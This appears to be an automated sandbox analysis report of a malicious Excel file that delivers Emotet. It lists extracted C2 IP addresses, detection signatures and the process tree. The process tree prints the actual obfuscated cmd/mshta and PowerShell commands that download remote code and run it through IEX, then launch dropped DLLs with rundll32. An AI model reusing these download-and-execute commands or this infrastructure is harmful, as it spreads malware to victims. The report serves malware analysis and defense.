Analysis
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max time kernel
127s -
max time network
130s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
20-01-2022 12:09
Behavioral task
behavioral1
Sample
279edf8210c724455a6136187a1c62b8298d256dfa42875ee8c8695a49cd1257.xls
Resource
win10-en-20211208
General
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Target
279edf8210c724455a6136187a1c62b8298d256dfa42875ee8c8695a49cd1257.xls
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Size
142KB
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MD5
479ce294962829b0994744dd0a5bff14
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SHA1
ac79edae6353fb779e9dfad843193915e4667ce2
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SHA256
279edf8210c724455a6136187a1c62b8298d256dfa42875ee8c8695a49cd1257
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SHA512
1ddd7e68fa08763d43b10ce5211034049b22f9d8bb30b600f85b3279f4394890aaba2899623d7404f5975012d5494f83ee0357451393d3819e48e381afa7612d
Malware Config
Extracted
http://0xb907d607/fer/fer.html
Extracted
http://185.7.214.7/fer/fer.png
Extracted
emotet
Epoch4
131.100.24.231:80
209.59.138.75:7080
103.8.26.103:8080
51.38.71.0:443
212.237.17.99:8080
79.172.212.216:8080
207.38.84.195:8080
104.168.155.129:8080
178.79.147.66:8080
46.55.222.11:443
103.8.26.102:8080
192.254.71.210:443
45.176.232.124:443
203.114.109.124:443
51.68.175.8:8080
58.227.42.236:80
45.142.114.231:8080
217.182.143.207:443
178.63.25.185:443
45.118.115.99:8080
103.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
81.0.236.90:443
45.118.135.203:7080
176.104.106.96:8080
212.237.56.116:7080
216.158.226.206:443
173.212.193.249:8080
50.116.54.215:443
138.185.72.26:8080
41.76.108.46:8080
212.237.5.209:443
107.182.225.142:8080
195.154.133.20:443
162.214.50.39:7080
110.232.117.186:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2392 2760 cmd.exe EXCEL.EXE -
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
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Blocklisted process makes network request 5 IoCs
Processes:
mshta.exepowershell.exerundll32.exeflow pid process 37 3628 mshta.exe 38 2500 powershell.exe 42 2500 powershell.exe 45 2500 powershell.exe 51 976 rundll32.exe -
Downloads MZ/PE file
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Loads dropped DLL 2 IoCs
Processes:
rundll32.exerundll32.exepid process 1848 rundll32.exe 2876 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Tcxyczdzx\gmqullcdzz.uut rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 1380 3628 WerFault.exe mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2760 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 19 IoCs
Processes:
powershell.exeWerFault.exerundll32.exepid process 2500 powershell.exe 2500 powershell.exe 1380 WerFault.exe 1380 WerFault.exe 1380 WerFault.exe 1380 WerFault.exe 1380 WerFault.exe 1380 WerFault.exe 1380 WerFault.exe 1380 WerFault.exe 1380 WerFault.exe 1380 WerFault.exe 1380 WerFault.exe 1380 WerFault.exe 1380 WerFault.exe 1380 WerFault.exe 2500 powershell.exe 976 rundll32.exe 976 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exeWerFault.exedescription pid process Token: SeDebugPrivilege 2500 powershell.exe Token: SeDebugPrivilege 1380 WerFault.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
EXCEL.EXEpid process 2760 EXCEL.EXE 2760 EXCEL.EXE 2760 EXCEL.EXE 2760 EXCEL.EXE 2760 EXCEL.EXE 2760 EXCEL.EXE 2760 EXCEL.EXE 2760 EXCEL.EXE 2760 EXCEL.EXE 2760 EXCEL.EXE 2760 EXCEL.EXE 2760 EXCEL.EXE 2760 EXCEL.EXE -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 2760 wrote to memory of 2236 2760 EXCEL.EXE splwow64.exe PID 2760 wrote to memory of 2236 2760 EXCEL.EXE splwow64.exe PID 2760 wrote to memory of 2392 2760 EXCEL.EXE cmd.exe PID 2760 wrote to memory of 2392 2760 EXCEL.EXE cmd.exe PID 2392 wrote to memory of 3628 2392 cmd.exe mshta.exe PID 2392 wrote to memory of 3628 2392 cmd.exe mshta.exe PID 3628 wrote to memory of 2500 3628 mshta.exe powershell.exe PID 3628 wrote to memory of 2500 3628 mshta.exe powershell.exe PID 2500 wrote to memory of 1868 2500 powershell.exe cmd.exe PID 2500 wrote to memory of 1868 2500 powershell.exe cmd.exe PID 1868 wrote to memory of 1848 1868 cmd.exe rundll32.exe PID 1868 wrote to memory of 1848 1868 cmd.exe rundll32.exe PID 1868 wrote to memory of 1848 1868 cmd.exe rundll32.exe PID 1848 wrote to memory of 2876 1848 rundll32.exe rundll32.exe PID 1848 wrote to memory of 2876 1848 rundll32.exe rundll32.exe PID 1848 wrote to memory of 2876 1848 rundll32.exe rundll32.exe PID 2876 wrote to memory of 1012 2876 rundll32.exe rundll32.exe PID 2876 wrote to memory of 1012 2876 rundll32.exe rundll32.exe PID 2876 wrote to memory of 1012 2876 rundll32.exe rundll32.exe PID 1012 wrote to memory of 976 1012 rundll32.exe rundll32.exe PID 1012 wrote to memory of 976 1012 rundll32.exe rundll32.exe PID 1012 wrote to memory of 976 1012 rundll32.exe rundll32.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\279edf8210c724455a6136187a1c62b8298d256dfa42875ee8c8695a49cd1257.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2760 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:2236
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C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2392 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fer.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3628 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2500 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
PID:1868 -
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1848 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2876 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Tcxyczdzx\gmqullcdzz.uut",KSTITyhzuF8⤵
- Suspicious use of WriteProcessMemory
PID:1012 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Tcxyczdzx\gmqullcdzz.uut",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:976 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3628 -s 16444⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1380
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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MD5
321380dc019516dfff7c977712f3c4cc
SHA188a64b3ff6a5cc01696672a3c880a4753acaf330
SHA2562200463c1d38d5aab53073663fb65625a6c6df671ac9c26ff35e6567cbc588a9
SHA51215fc392df12e787e503b14f957b00ef703de66e2a5e7029d6a2a5a3d443ee33ba19429f8f140c3f9d9c4175ab7d3c01079417b21051cdc033eda9b81ff5dd763
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MD5
321380dc019516dfff7c977712f3c4cc
SHA188a64b3ff6a5cc01696672a3c880a4753acaf330
SHA2562200463c1d38d5aab53073663fb65625a6c6df671ac9c26ff35e6567cbc588a9
SHA51215fc392df12e787e503b14f957b00ef703de66e2a5e7029d6a2a5a3d443ee33ba19429f8f140c3f9d9c4175ab7d3c01079417b21051cdc033eda9b81ff5dd763
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MD5
321380dc019516dfff7c977712f3c4cc
SHA188a64b3ff6a5cc01696672a3c880a4753acaf330
SHA2562200463c1d38d5aab53073663fb65625a6c6df671ac9c26ff35e6567cbc588a9
SHA51215fc392df12e787e503b14f957b00ef703de66e2a5e7029d6a2a5a3d443ee33ba19429f8f140c3f9d9c4175ab7d3c01079417b21051cdc033eda9b81ff5dd763